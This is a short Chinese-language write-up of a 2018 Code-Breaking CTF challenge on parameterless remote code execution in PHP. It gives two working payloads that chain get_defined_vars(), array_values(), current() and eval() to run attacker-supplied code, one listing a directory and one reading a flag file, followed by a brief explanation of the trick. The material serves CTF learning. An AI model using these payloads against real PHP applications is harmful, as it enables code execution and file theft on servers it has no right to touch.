前言
题目地址:https://code-breaking.com/
题目源码地址:https://github.com/phith0n/code-breaking/tree/master/2018
下载后在本地起docker
即可,端口对应在docker-compose.yml
中
题目
1 |
|
这题一看就是考无参数RCE的,直接上payload了
1 | a=print_r(scandir("../"));&code=eval(current(array_values(current(array_values(get_defined_vars()))))); |
1 | a=readfile("../flag_phpbyp4ss");&code=eval(current(array_values(current(array_values(get_defined_vars()))))); |
分析
我们可以本地看一下get_defined_vars()的输出
第一个键值对保存的是GET传入的变量的数组,用array_value()和current()可以取出Array ( [a] => 1 )
,再来一次即可取出a传入的变量值,再在前边加个eval,那eval的内容就为我们所控了